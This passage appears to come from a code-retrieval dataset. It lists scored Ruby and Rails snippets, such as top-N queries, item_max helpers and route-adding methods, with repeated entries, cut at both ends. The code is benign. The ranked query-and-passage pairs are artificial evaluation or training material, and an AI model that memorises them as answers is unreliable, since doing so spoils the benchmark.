|format|\n format.html # index.html.erb\n format.json { render json: @shifts }\n end\n end", "title": "" }, { "docid": "ec80e26a67aa89d9c9ffd2125576e45d", "score": "0.54664993", "text": "def topn_by_downloads (keyinfo, n)\n topn_by_downloads = keyinfo.sort_by{ |x| x[:total_downloads] }.reverse.slice(0 .. n-1)\n top_table topn_by_downloads\nend", "title": "" }, { "docid": "d9689d1651b668500a8489a9670aa5d0", "score": "0.5451867", "text": "def item_max\n @data ? @data.size : 0\n end", "title": "" }, { "docid": "d9689d1651b668500a8489a9670aa5d0", "score": "0.5451867", "text": "def item_max\n @data ? @data.size : 0\n end", "title": "" }, { "docid": "d9689d1651b668500a8489a9670aa5d0", "score": "0.5451867", "text": "def item_max\n @data ? @data.size : 0\n end", "title": "" }, { "docid": "d9689d1651b668500a8489a9670aa5d0", "score": "0.5451867", "text": "def item_max\n @data ? @data.size : 0\n end", "title": "" }, { "docid": "d9689d1651b668500a8489a9670aa5d0", "score": "0.5451867", "text": "def item_max\n @data ? @data.size : 0\n end", "title": "" }, { "docid": "d9689d1651b668500a8489a9670aa5d0", "score": "0.5451867", "text": "def item_max\n @data ? @data.size : 0\n end", "title": "" }, { "docid": "d9689d1651b668500a8489a9670aa5d0", "score": "0.5451867", "text": "def item_max\n @data ? @data.size : 0\n end", "title": "" }, { "docid": "c14f934b1ecd97eda77ab720b83b6a0d", "score": "0.54496235", "text": "def similar(count = 25)\n if self.cluster.nil? or (Time.now - self.cluster.updated_at) > (60*60)\n self.cluster = Cluster.closest(self)\n end\n\n return Item.where(:cluster_id => self.cluster.id).order(\"created_at DESC\").limit(count)\n end", "title": "" }, { "docid": "a7e208676418ff1e2f9c2a62293e3b5e", "score": "0.5439553", "text": "def item_max\r\r\n @data ? @data.size : 1\r\r\n end", "title": "" }, { "docid": "566251fd3d9d0178519acedaa502606f", "score": "0.5435948", "text": "def guest_with_most_appearances(db)\n db.execute(\n \"SELECT guest_name, COUNT(appearance_date) \n FROM guests \n GROUP BY guest_name \n ORDER BY COUNT(appearance_date) DESC \n LIMIT 1\")\nend", "title": "" }, { "docid": "7201382b3abdecdc4f7c3878c13c7767", "score": "0.5435595", "text": "def index\n @records = Record.all.order('count desc').take(100)\n end", "title": "" }, { "docid": "24a6976ee4ba4512c39e39c6d7e5885e", "score": "0.54315066", "text": "def latest_report\n @latest_report || fetch_api_data\n end", "title": "" }, { "docid": "bb022f2f2792e448333e00ebb6748ef4", "score": "0.5429255", "text": "def item_max() @item_max end", "title": "" }, { "docid": "c66cfb0d7622a1ca56466920009933cd", "score": "0.54232264", "text": "def get_most_frequent_client\n client, request_count = @client_counter.max_by{|k, v| v}\n return client\n end", "title": "" }, { "docid": "06778289392486f920fe2dd5c1a76bf4", "score": "0.54149157", "text": "def mostSteals\n players.max_by do|name, stats|\n stats[:steals]\n end\nend", "title": "" }, { "docid": "66cbf72f8511f1232c890b4d92f42e1d", "score": "0.5414405", "text": "def latest_interviews\n self.interviews.order(\"DATE DESC\").where(:status=>1)\n end", "title": "" }, { "docid": "c76dc6c0b45b221a23ca1968627baddc", "score": "0.5411187", "text": "def get_itemrec_top_n(engine, n, params={})\n params.merge!(default_params)\n params['pio_uid'] = @uid\n params['pio_n'] = n\n itypes = params.delete(\"pio_itypes\")\n format_itypes(itypes, params)\n extract_latlng(params)\n response = @connection.get(:engines, :itemrec, engine, :topn, params)\n response.body[\"pio_iids\"]\n end", "title": "" }, { "docid": "641aed28cfb00d570f5dbaf618ee9ecd", "score": "0.5408318", "text": "def find_most_played_songs\n top_songs_with_play_count_pair = self.lib.songs.reject do |song|\n #this line is describing records it will get rid of\n (!song.metadata.has_key?('play_count')) or (song.metadata['play_count'] == nil)\n end\n\n top_songs_played_sorted = top_songs_with_play_count_pair.sort do |a, b| \n b.metadata['play_count'].to_i <=> a.metadata['play_count'].to_i\n end\n\n top_songs_played = top_songs_played_sorted.first(5)\n song_names_of_top_played = top_songs_played.collect {|song| song.metadata['name']} \n end", "title": "" }, { "docid": "1dacb76fd1f61d0bec7fe83b24bfc5ea", "score": "0.5387547", "text": "def index\n @items = Item.all\n @items = @items.select {|item| item.owner_id != current_user.id}\n @top = @items.max(3) {|item1, item2| item1.purchased <=> item2.purchased}\n @sale = @items.select {|item| item.on_sale }\n\n end", "title": "" }, { "docid": "098d166d7eef8ad48fb3830c28281610", "score": "0.5384302", "text": "def high_risks_by_host(limit=10)\n\t\t\t\t\t#select(\"items.*\").select(\"count(*) as count_all\").joins(:host).where(\"plugin_id != 1\").where(:severity => 3).group(:host_id).order(\"count_all DESC\").limit(limit)\n\n\t\t\t\t\tItem.joins(:host).where.not(plugin_id: 1).where(:severity => 3).where(:rollup_finding => false).group(:host_id).order(Arel.sql('COUNT(*) DESC')).limit(limit)\n\t\t\t\tend", "title": "" }, { "docid": "2df9b2883f629b9bb2b8940b1be2281b", "score": "0.53747565", "text": "def top_winners\n max_val = history.list.values.map { |ary| ary.reduce(:-) }.max\n history.list.select { |_, val| val.reduce(:-) == max_val }.keys\n end", "title": "" }, { "docid": "600e5360304f0b8a19c88abd12fd0ea1", "score": "0.5371719", "text": "def index\n @packages = Package.last(10)\n end", "title": "" }, { "docid": "13fcbf9c535f076c8c961a4ead942c83", "score": "0.53642505", "text": "def get_most_viewers\n uri = [@@base_uri, 'all', 'getMostViewers'].join('/')\n return get(uri)\n end", "title": "" }, { "docid": "6bd10254779c8a9d6d9dd8146e3e7583", "score": "0.5359384", "text": "def most_popular_screening_film\n most_popular = nil\n unsold_tickets = 2 #max capacity of the cinema\n screenings = return_film_screenings\n screenings.each do |screening|\n if screening.tickets_left.to_i < unsold_tickets\n most_popular = screening\n end\n end\n return most_popular\n end", "title": "" }, { "docid": "8d245aff7ef03eaa5b3dbd997cde7946", "score": "0.53580344", "text": "def home\n @recent_listings = Listing.last(5)\n end", "title": "" }, { "docid": "e43a1fcbf6374d12ef71a6c6cad2f236", "score": "0.5355653", "text": "def topTenBooks\n\t\t@requests = requests.order('count desc').limit(10)\n\tend", "title": "" }, { "docid": "4b121140fd1d699e31ae8971a0ca1073", "score": "0.5354724", "text": "def index\n @apps = App.where(\"DATE(created_at) = ?\", Date.today)#.where('id % ? = 1',60)\n @value = App.order(created_at: :desc).take(1)\n\n end", "title": "" }, { "docid": "b453ff04d9ec20856521340d32ef4788", "score": "0.53537714", "text": "def recent_observations(num = 5)\n observations.find(:all, :limit => num, :order => \"created_at DESC\")\n end", "title": "" }, { "docid": "2e59330b7c0a0dc06174754c6e6b30f5", "score": "0.535236", "text": "def top_ten\n Rails.cache.fetch('top_ten_resp', expires_in: 1.minutes) do\n conn = Faraday.new(url: @base_url) do |faraday|\n faraday.adapter(Faraday.default_adapter)\n end\n\n resp = conn.get do |req|\n req.url '/v1/cryptocurrency/listings/latest'\n req.headers['X-CMC_PRO_API_KEY'] = @api_key\n req.params['start'] = 1\n req.params['limit'] = 10\n req.params['convert'] = 'USD'\n req.params['sort'] = 'market_cap'\n req.params['sort_dir'] = 'desc'\n end\n\n raise 'Cannot parse response body' unless resp.body\n\n resp.body\n end\n end", "title": "" }, { "docid": "bf936aba51f108311589493b9cd2383f", "score": "0.53469384", "text": "def latest\n @loops = Loop.latest\n render 'list'\n end", "title": "" }, { "docid": "7d2578d02abfe812014cc33bb727efc5", "score": "0.5344528", "text": "def latest\n @gapi.only_read_latest\n end", "title": "" }, { "docid": "7d2578d02abfe812014cc33bb727efc5", "score": "0.5344528", "text": "def latest\n @gapi.only_read_latest\n end", "title": "" }, { "docid": "a3f85b18b135a635d712f3bd19ac7002", "score": "0.5341353", "text": "def last_n_entries(user_id, days_request)\n id = user_id\n number = days_request\n results = $BP.execute(\n \"SELECT * FROM (SELECT * FROM bloodpressure WHERE user_id = (?)ORDER BY bp_id DESC LIMIT (?))\n ORDER BY bp_id ASC\", [id, number])\n puts \"Last #{number} entries:\"\n puts \"---------------------------------\"\n puts\n results.each do |entry|\n puts \"#{entry['date']} SYS: #{entry['systolic']} DIA: #{entry['diastolic']}\"\n end\n puts\n puts \"---------------------------------\"\n puts\nend", "title": "" }, { "docid": "b20dad14cd69d1ff4e5ce6f850b0f786", "score": "0.5338675", "text": "def get_top_list params = { :list_type => 1, :page => 1, :language => 'en' }\n json = send_request 'get_top_list', params\n if json['success'] == true\n json['tracks']\n else\n puts \"Error: \" + json['message']\n exit\n end\n end", "title": "" }, { "docid": "0ec3136fea356002b530396a9fb38bb1", "score": "0.5335183", "text": "def index\n @recent_objects = Note.where(project_id: $project_id).order(updated_at: :desc).limit(10)\n end", "title": "" }, { "docid": "7b323daf18b2dbe60aa81d122cb6b998", "score": "0.53317857", "text": "def item_max\n return @data.size\n end", "title": "" }, { "docid": "7b323daf18b2dbe60aa81d122cb6b998", "score": "0.53317857", "text": "def item_max\n return @data.size\n end", "title": "" }, { "docid": "85eaff5c0ce5b81640eaca2e3dc43162", "score": "0.53309846", "text": "def recent\n num_recent = 5\n entries = @@ledgers.find(\"owner\" => @sender).first['entries']\n\n if(entries.length < num_recent)\n num_recent = entries.length\n end\n\n reply = [\"Most recent ledger entries:\"]\n \n for n in 1..num_recent\n entry = entries[-n]\n reply.push(\"#{entry['action']}, #{entry['description']}, #{entry['value']}\")\n end\n\n @t.say(reply.join(\"\\n\"))\nend", "title": "" }, { "docid": "9b43bad7dad2bf3c551092e054cff0fe", "score": "0.53305703", "text": "def lastest_promos\n last_time_milliseconds = params[:last_promos_retrieval].to_f\n if (last_time_milliseconds != 0)\n last_time = Time.at(last_time_milliseconds/1000)\n @promos = Promo.where(\"validez >= ? AND updated_at >= ?\", Time.zone.now, last_time).order(\"validez ASC\")\n else\n @promos = Promo.where(\"validez >= ? AND version >= 0\", Time.zone.now).order(\"validez ASC\")\n end\n #Rails.logger.info request.env['PATH_INFO']\n render json: @promos\n end", "title": "" }, { "docid": "8982356eff7d1036fdaafd3c594b17f3", "score": "0.5330485", "text": "def index_hot_watch(params)\n @programs = TvProgram.all\n @programs.sort!{|x, y| y.watch_count <=> x.watch_count}\n if((params[:size] != nil))\n @programs = @programs[0 .. (params[:size].to_i-1)] \n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @programs.to_xml }\n format.json { render :json => @programs.to_json }\n end\n end", "title": "" }, { "docid": "1f0b9390f57d576253c89896be023b9f", "score": "0.53292227", "text": "def home\r\n@recommanded_download = Download.find(:all, :limit => 8, :order=>\"download_count desc\")\r\nend", "title": "" }, { "docid": "cac7a3aea6008a1a79d3a2e3397504be", "score": "0.53267455", "text": "def getLatest()\n return Gesellschafter.get(self.Mnr)\n end", "title": "" }, { "docid": "53e294c5c066a44624b3364a81ccaea4", "score": "0.5326463", "text": "def getLatest()\n return Foerdermitglied.get(self.Pnr)\n end", "title": "" }, { "docid": "657ed02db53fc5ba1dce728c444ba1d0", "score": "0.5324917", "text": "def book_with_most_bookmarks\n books.max_by { |book| book.bookmarks.size }\n end", "title": "" }, { "docid": "978b2248e530f4a097ee98dae70eec20", "score": "0.53206635", "text": "def find_popular_with_limit(limit, *date)\n populars = find_popular(*date)\n populars.max_by(limit) do |_, item|\n item\n end\n end", "title": "" }, { "docid": "5ee0e26da896ef98faed572124f5e884", "score": "0.5318993", "text": "def get_last_bid\n self.bids.max_by {|bid| bid.created_at}\n end", "title": "" }, { "docid": "935f321653285a9fa302cc3f77619c03", "score": "0.5317787", "text": "def last_20_jobs(project_id)\n api(\"projects/#{project_id}/jobs\").sort_by { |j| -j['id'] }\nend", "title": "" }, { "docid": "58297af1791d630891172c4985535720", "score": "0.53174806", "text": "def top_data\n \n # Parse parameters\n device = params[:device]\n category = params[:category_top]\n \n # Format the rank we want to search on\n rank = \"top_%s_apps_%s\" % [category, device]\n \n # Get query parameters and add the rank\n query = get_query.merge!({rank => {:$gt => 0}})\n\n # Get list of fields to return\n fields = get_fields\n \n # Get list of fields to remove\n without = get_without_fields\n\n # Check if sorting method is specified\n sort_field = get_sorting(rank)\n \n # If the limit is specified set it otherwise default to 100\n limit_num = get_limit\n \n # Create mongo query.\n # Select based on store where both criteria match:\n # => country is the specified one\n # => rank is greater than 0\n apps = AppData.where(query)\n .sort(sort_field)\n .fields(fields)\n .limit(limit_num)\n .all\n \n # Apply interests weighting if interests exist \n apps = weight_interests(apps, request.query_parameters['interests'])\n \n # Return result as json\n render :json => {\n :success => true,\n :message => \"Success\",\n :apps_data => apps.as_json(:only => fields, :except => without)\n }\n \n end", "title": "" }, { "docid": "56f56592f9d512bcdccb719165c82c4d", "score": "0.5315648", "text": "def higher_item\n return nil unless in_list?\n conditions = scope_condition.merge!( less_than_me )\n order_by_position(conditions).last\n end", "title": "" } ]
4433aaed5f278928b7a624bc2107fca0
Adds a path to be recognized. To assign a part of the path to a specific variable, use :variable_name within the route. For example, add('/path/:id') would match /path/test, with the variable :id having the value "test". You can receive mulitple parts into a single variable by using the glob syntax. For example, add('/path/id') would match /path/123/456/789, with the variable :id having the value ["123", "456", "789"]. As well, paths can end with two optional parts, and /?. If it ends with a , it will match partially, returning the part of the path unmatched in the PATH_INFO value of the env. The part matched to will be returned in the SCRIPT_NAME. If it ends with /?, then a trailing / on the path will be optionally matched for that specific route. As trailing /'s are ignored by default, you probably don't actually want to use this option that frequently. Routes can also contain optional parts. There are surrounded with ( )'s. If you need to match on a bracket in the route itself, you can escape the parentheses with a backslash. The second argument, options, is an optional hash that can modify the route in further ways. See HttpRouter::Routewith_options for details. Typically, you want to add further options to the route by calling additional methods on it. See HttpRouter::Route for further details. Returns the route object.
[ { "docid": "55f086b1f515c2bd49d34e14af35803c", "score": "0.8125948", "text": "def add(path, options = nil)\n add_route route(path.dup).with_options(options)\n end", "title": "" } ]
[ { "docid": "fa5c737adcf7a5dbd7bcef566a91c262", "score": "0.7013771", "text": "def add(verb, path, options = {}, &block)\n routes << (route = Route.new(path, verb, options, &block))\n route.router = self\n route\n end", "title": "" }, { "docid": "e973093c9e10ec9f278634374fca4cc9", "score": "0.69248915", "text": "def add(verb, path, options = {}, &block)\n route = Route.new(path, verb, options, &block)\n route.router = self\n @routes << route\n route\n end", "title": "" }, { "docid": "fa3fd35ea3bbe5426de88ed84a237fc3", "score": "0.66410875", "text": "def add_route(string_or_regex, opts = {})\n raise \"You have to provide an :action method to call\" unless opts[:action]\n method = (opts.delete(:method) || 'GET').to_s.upcase\n # If a string, convert it to a rack-mount compatable regex, eg\n # /some/:var/in/path => /some/(?<var>.*)/in/path\n if string_or_regex.is_a?(String)\n regex_string = \"^\" + string_or_regex.gsub(/:(([^\\/]+))/){|s| \"(?<#{$1}>.*)\" } + \"$\"\n regex = %r{#{regex_string}}\n #puts regex_string # dbg\n else\n regex = string_or_regex\n end\n\n # Add the route to rack-mount\n @set.add_route(self,\n {:path_info => regex, :request_method => method.upcase},\n opts)\n end", "title": "" }, { "docid": "25e8f670314601f80d7c46b4410530e3", "score": "0.66141653", "text": "def for(path, *args)\n arg = args[0]\n log.debug \"Adding route, path: #{path}, args: #{args.inspect}\"\n\n match = get_regex_for_route(path, arg)\n hash = get_to_hash(arg)\n route_info = {:regex => match[:regex], :args => arg, :vars => match[:vars], :hash => hash}\n \n # Add the HTTP methods for this route if they exist in options\n route_info[:methods] = arg[:methods] if not arg.nil? and arg.has_key? :methods\n \n self.routes.push(route_info)\n end", "title": "" }, { "docid": "912f16991105b47df67b364b6c1fa711", "score": "0.6546313", "text": "def add_route(*args)\n custom_routes << args\n end", "title": "" }, { "docid": "01c842fa2ccfa7681b178bb28d15014a", "score": "0.64150715", "text": "def add_route(*args, &block)\n route = Route.new(*args, &block)\n @routes << route\n route\n end", "title": "" }, { "docid": "c4c6eb5132c75b01d51967f98951b31c", "score": "0.64108664", "text": "def add(path, vertical=nil)\n sr = path\n sr = SimpleRoute.new(path) unless path.is_a?(SimpleRoute)\n self << sr\n @by_path[path] = sr\n @by_name[sr.name] = sr\n add_to_vertical(sr, vertical) if vertical\n end", "title": "" }, { "docid": "deb4b495e577c957f140e6d7092a6ee4", "score": "0.63923603", "text": "def add_route(*p, &b)\n @routes ||= routes.dup\n @routes.route(*p, &b)\n end", "title": "" }, { "docid": "3c9010262d51ef58dbdeebb5ad803f25", "score": "0.6302604", "text": "def route(path, opts = {}, &block)\n @@routes << [path, opts, block]\n end", "title": "" }, { "docid": "a0943a84d0f3589022210e8ebc5a332b", "score": "0.6297876", "text": "def route(path, options)\n methods = options[:via]\n methods = [:get, :create, :update, :delete] if methods == :any\n methods.is_a?(Array) ? methods.each{|m| @paths[m] = path } : (@paths[methods] = path)\n nil\n end", "title": "" }, { "docid": "a432875226ea5522167c049ef53432d7", "score": "0.6296495", "text": "def add_route( verb, path, route )\n\t\tre = Regexp.compile( '^' + path.join('/') + '$' )\n\n\t\t# Make the Hash for the specified HTTP verb if it hasn't been created already\n\t\tself.routes[ re ][ verb ] = route\n\tend", "title": "" }, { "docid": "5b248793d8ac061efb64f794be1e1c3d", "score": "0.6286006", "text": "def add(path); end", "title": "" }, { "docid": "bb5bad7b4df10595f8ef33d8e1dfbfba", "score": "0.6241557", "text": "def add(route_id, source_path, target_url, request_method)\n if source_path.start_with?('/admin')\n Rails.logger.error(\"😱 Attempt to add admin route '#{source_path}' was cancelled.\")\n return\n end\n\n route = create_route_object(route_id, source_path, target_url, request_method)\n\n Disraptor::RouteStore.add_route(route_id, route)\n\n return route\n end", "title": "" }, { "docid": "40c13517735de9c796666cae0043789b", "score": "0.62026775", "text": "def add_route(route)\n @routes << route\n route\n end", "title": "" }, { "docid": "42edf628f75f6392b20e4d9dbeb5cb68", "score": "0.6106412", "text": "def add_route(route={})\n request :post, '/routes', route\n end", "title": "" }, { "docid": "2823e07998a21555de8523c660832e2c", "score": "0.6057756", "text": "def add_named_route(name, path, options = nil)\n add_route(path, options).name(name)\n end", "title": "" }, { "docid": "18f0de82c7bc1a78d488da8ec5af4da1", "score": "0.6032059", "text": "def map(path, options = {})\n @@routes[path] = options\n end", "title": "" }, { "docid": "0d3b2547bdd9ac367a51cd9ff6fbac11", "score": "0.59716874", "text": "def add(new)\n @routes << new\n end", "title": "" }, { "docid": "542223e240d76415185840c39544b820", "score": "0.59659165", "text": "def add(pattern, dest, options)\n [:add, pattern, dest, options]\nend", "title": "" }, { "docid": "0e010af39bcf6e0a1cf86cbf7bfcb86d", "score": "0.5954559", "text": "def match(*options)\n @matches << Route.new(options)\n end", "title": "" }, { "docid": "534716d0335c0ac348661e9ed1cc7f1c", "score": "0.5865831", "text": "def addPath(path)\r\n\t\tif @paths.nil?\r\n\t\t\t@paths = [path]\r\n\t\telse\r\n\t\t\t@paths << path\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "f03a0f0883dd82fe977c9fd29299e3cd", "score": "0.5805047", "text": "def add_path(path)\n @tree.add_path(path)\n self\n end", "title": "" }, { "docid": "ae57c531d6d31049370e066ac46bb6b1", "score": "0.5794817", "text": "def map(path, options = {}, method = nil, &block)\n route = router.add(path, options)\n route.send(method) if method\n route.to(&block)\n @ins << router unless @ins.last == router\n route\n end", "title": "" }, { "docid": "88182b2c4537415915266c852292ee07", "score": "0.5755868", "text": "def add_path_part(name, rel_path=nil, expected_type=nil)\n if not name.kind_of? String\n raise ArgumentInvalidTypeError.new 'name', name, String\n end\n \n if has_path_part? name\n raise ArgumentError \"path part #{name} has already been added\"\n end\n \n rel_path_parts = (not rel_path.kind_of? String) ? [] : rel_path.split('.')\n \n if (not rel_path_parts.empty?) and has_path_part?(rel_path_parts[0])\n rel_path = \"\"\n rel_path << self[rel_path_parts[0]].full_rel_path\n if (rel_path_parts.length > 1)\n rel_path << \".\" << rel_path_parts.last(rel_path_parts.length - 1).join('.')\n end\n end\n \n path_part = create_path_part(name, self, rel_path, expected_type)\n \n @child_path_parts[path_part.name] = path_part\n return path_part\n end", "title": "" }, { "docid": "edc32a31e678c35ca40e33ccb15a5edd", "score": "0.5743011", "text": "def add(paths = '.', **options)\n self.lib.add(paths, options)\n end", "title": "" }, { "docid": "7be55e5859fa2e23d14770484a7a01af", "score": "0.5712258", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "7be55e5859fa2e23d14770484a7a01af", "score": "0.5712258", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "7be55e5859fa2e23d14770484a7a01af", "score": "0.5712258", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "7be55e5859fa2e23d14770484a7a01af", "score": "0.5712258", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "7be55e5859fa2e23d14770484a7a01af", "score": "0.5712258", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "7be55e5859fa2e23d14770484a7a01af", "score": "0.5712258", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "7be55e5859fa2e23d14770484a7a01af", "score": "0.5712258", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "232cdec956b0946ab5fb4fd92c8dfb72", "score": "0.57022196", "text": "def add_route(pattern, method, controller_class, action_name)\n new_route = Route.new(pattern, method, controller_class, action_name)\n @routes << new_route\n end", "title": "" }, { "docid": "b7d1d3db7f0b73858fa700e2c9caa87d", "score": "0.56774026", "text": "def addName(name)\n @path << name\n end", "title": "" }, { "docid": "e22ef8c000d6befe95e49bce19dfdfd9", "score": "0.56508124", "text": "def route(args)\n routes=Routes.instance\n (cmd, pattern, dest, opts)=args\n\n d=URI::parse(dest)\n\n case cmd # route [add|remove]\n when :add\n routes.add(pattern, d, opts)\n when :remove\n routes.remove(pattern, d, opts)\n end\nend", "title": "" }, { "docid": "f58515cc60f742b5eb48be4f3e9b7f13", "score": "0.5630433", "text": "def add_swagger_route http_method, path, opts = {}\n full_path = path.gsub(/{(.*?)}/, ':\\1')\n match full_path, to: \"#{opts.fetch(:controller_name)}##{opts[:action_name]}\", via: http_method\n end", "title": "" }, { "docid": "4043e493427988c67f23dfc6ec523693", "score": "0.562296", "text": "def connect(path, options = {}, &block)\n options = handle_options(options, &block)\n if path.is_a?(String)\n path = \"/#{path}\" unless path.match(/^\\//)\n end\n route = RouteObject.new(path, options)\n @_route_map[options[:method]] << route\n @_deferred_route_map[options[:method]] << route if route.deferred\n route\n end", "title": "" }, { "docid": "310342ddfc47a70b1415e16517eb6c77", "score": "0.55999315", "text": "def link_action_add(path = nil, url_options = {})\n path ||= path_args(model_class)\n link_action ti(:\"link.add\"), 'plus', path.is_a?(String) ? path : new_polymorphic_path(path, url_options)\n end", "title": "" }, { "docid": "310342ddfc47a70b1415e16517eb6c77", "score": "0.55999315", "text": "def link_action_add(path = nil, url_options = {})\n path ||= path_args(model_class)\n link_action ti(:\"link.add\"), 'plus', path.is_a?(String) ? path : new_polymorphic_path(path, url_options)\n end", "title": "" }, { "docid": "7ba33cd5fc38d4f160cbf7930446d09f", "score": "0.5599424", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "7ba33cd5fc38d4f160cbf7930446d09f", "score": "0.5599424", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "7ba33cd5fc38d4f160cbf7930446d09f", "score": "0.5599424", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "7ba33cd5fc38d4f160cbf7930446d09f", "score": "0.5599424", "text": "def add_route(pattern, method, controller_class, action_name)\n @routes << Route.new(pattern, method, controller_class, action_name)\n end", "title": "" }, { "docid": "81a780a6c1ad6ed42c41ae77b2a16ce2", "score": "0.55889934", "text": "def << route\n raise \"Argument must be an Endpoint\" unless Endpoint === route\n _base, *subroute = route[:_path].split '/' # Split out first element\n if subroute.count == 0\n route[:_path] = \"\"\n @endpoints << route\n else\n route[:_path] = subroute.join '/'\n self[subroute[0]] << route\n end\n end", "title": "" }, { "docid": "dbb8357ff1ad3b559045924758cc195f", "score": "0.55853057", "text": "def add_path(id, *paths)\n\t\t\tpaths = paths.map {|path| to_path(path) }\n\t\t\t@current_context.add_attribute(id, *paths)\n\t\tend", "title": "" }, { "docid": "afea2b34835e8a91423af8f6499c6dfc", "score": "0.5565967", "text": "def get_route(path, options = nil)\n conditions = options && options.delete(:conditions) || nil\n requirements = options && options.delete(:requirements) || nil\n default_values = options && options.delete(:default_values) || nil\n generate_with = options && options.delete(:generate_with) || nil\n priority = options && options.delete(:priority) || nil\n if options\n options.delete_if do |k, v|\n if v.is_a?(Regexp) || v.is_a?(Proc)\n (requirements ||= {})[k] = v\n true\n end\n end\n end\n\n if conditions && !conditions.empty?\n conditions.keys.all?{|k| request_methods.include?(k)} or raise(\"You are trying to use request methods that don't exist in the request_methods supplied #{conditions.keys.join(', ')} -> #{(conditions.keys - request_methods).join(\", \")}\")\n end\n\n if priority\n enable_priority_lookups!\n end\n\n route = parser.generate_route(path, conditions, requirements, default_values, generate_with, priority)\n raise(MultipleParameterException.new) if !allow_identical_variable_names? and route.paths.first.dynamic? and route.paths.first.dynamic_keys.uniq.size != route.paths.first.dynamic_keys.size\n route.to(options) if options && !options.empty?\n route\n end", "title": "" }, { "docid": "a4d4451183c1ef187b6151534aa82eb3", "score": "0.5514031", "text": "def add_route(*args)\n route = super\n @named_routes[route.name] = route if route.name\n @generation_key_analyzer << route.generation_keys\n route\n end", "title": "" }, { "docid": "4d5bb2e934590d18d90a240de3beb356", "score": "0.5444122", "text": "def add_path(path)\n raise NotImplementedError, \"Implement in each subclass\"\n end", "title": "" }, { "docid": "0924540cba1e7e3098f6ff99b476b7ea", "score": "0.54182094", "text": "def add(pattern, dest, options)\n options[:prio]=255 unless options[:prio] # default\n @route[pattern]=RouteEntry.new(dest, options)\n end", "title": "" }, { "docid": "2c06fe53af601bf1457bbff83ef69f43", "score": "0.5350161", "text": "def addRoute(route)\n @routes.push route\n addRouteValue(@fromNodeMap, route.startStation, route)\n addRouteValue(@toNodeMap, route.endStation, route)\n end", "title": "" }, { "docid": "5cd455054e789621fdd50658addf082d", "score": "0.5306061", "text": "def add_route path, controller, &block\n\t\t\t\t@active_host ||= add_host :default\n\t\t\t\t@active_host.routes << ::Plezi::Base::Route.new(path, controller, &block)\n\t\t\tend", "title": "" }, { "docid": "791361525a30b1c4b7a566d76d043ebb", "score": "0.5295765", "text": "def append_to_path(path)\n @path+= path\n end", "title": "" }, { "docid": "289928f69e29a79312d0091563d044e6", "score": "0.52846974", "text": "def add(entry)\n _check_open!\n ::Dnet.route_add(@handle, entry)\n end", "title": "" }, { "docid": "5227f62b3914901561cd4a519774a184", "score": "0.52828765", "text": "def add_route(url_string, rack_app)\n @mount_points = @mount_points || []\n @mount_points << {url_string: url_string, rack_app: rack_app}\n end", "title": "" }, { "docid": "3ae4f1f27e61a9abe2e94dd0d482aeb0", "score": "0.526903", "text": "def add(path, value)\n OperationSet.new(self).add(path, value)\n end", "title": "" }, { "docid": "d0fa9797ed9dee64f7f8006f11dca98d", "score": "0.52659243", "text": "def route(pattern, options={})\n options[:builder] ||= GentleREST::RouteBuilder\n builder_class = options[:builder]\n begin\n builder = builder_class.new(pattern, options)\n rescue ArgumentError\n raise ArgumentError,\n \"A RouteBuilder class must take a pattern and an \" +\n \"options Hash as parameters in its initialize method.\" \n end\n if builder.respond_to?(:generate)\n new_routes = builder.generate\n new_routes.each do |route|\n if !route.kind_of?(GentleREST::Route)\n raise TypeError,\n \"Expected GentleREST::Route, got #{route.class.name}.\"\n end\n self.routes << route\n end\n new_routes\n else\n raise TypeError,\n \"An instantiated builder class must respond to the \" +\n \":generate message.\"\n end\n end", "title": "" }, { "docid": "f48609a3126e35a883eb3eb8b8d9bf05", "score": "0.5248271", "text": "def put(path, options = nil)\n add(path, options).put\n end", "title": "" }, { "docid": "6d03987e95238f3eaf1202825e7112b0", "score": "0.5216313", "text": "def options(path, to: nil, as: nil, **constraints, &blk)\n add_route(::Rack::OPTIONS, path, to, as, constraints, &blk)\n end", "title": "" }, { "docid": "ab909140f67912c04e6aca6183aa6981", "score": "0.51946014", "text": "def <<(name)\n name = name.to_str\n @path << name unless name.strip.empty?\n @path\n end", "title": "" }, { "docid": "d6765335f4c6041ef1caab853cbd1d28", "score": "0.5187919", "text": "def add_routes(&block)\n @router ||= Routes.new\n @router.define(&block)\n url.router = @router\n end", "title": "" }, { "docid": "186c8936fed449e865acdd5393a87fb0", "score": "0.518404", "text": "def << other\n @path << other\n self\n end", "title": "" }, { "docid": "86e7bf29e75eec2b8ae16f296c148c95", "score": "0.5178987", "text": "def add_member path\n rewrite_members member_paths.add(path)\n end", "title": "" }, { "docid": "331f99ddc6604713981a502ced579c8e", "score": "0.51701814", "text": "def path(name, data = nil)\n RouteLookup.new.path(name, data)\n end", "title": "" }, { "docid": "ed5a6d1aabe4a5e6f1e9325c57250362", "score": "0.5158624", "text": "def add(text, url = nil, options = {})\n options.reverse_merge!(:i18n => true)\n text = translate(text) if options.delete(:i18n)\n url = controller.__send__(:url_for, url) if url\n push [text.to_s, url, options]\n end", "title": "" }, { "docid": "acdf0df607ef80e6a3a291435dd8429c", "score": "0.5155785", "text": "def define_route(method, path, target=nil, &block)\n route_def = {}\n # choose action for block and no-block routes\n if block_given?\n route_def = { block: block }\n else\n # { \"/\" => { :controller=>\"landing\", 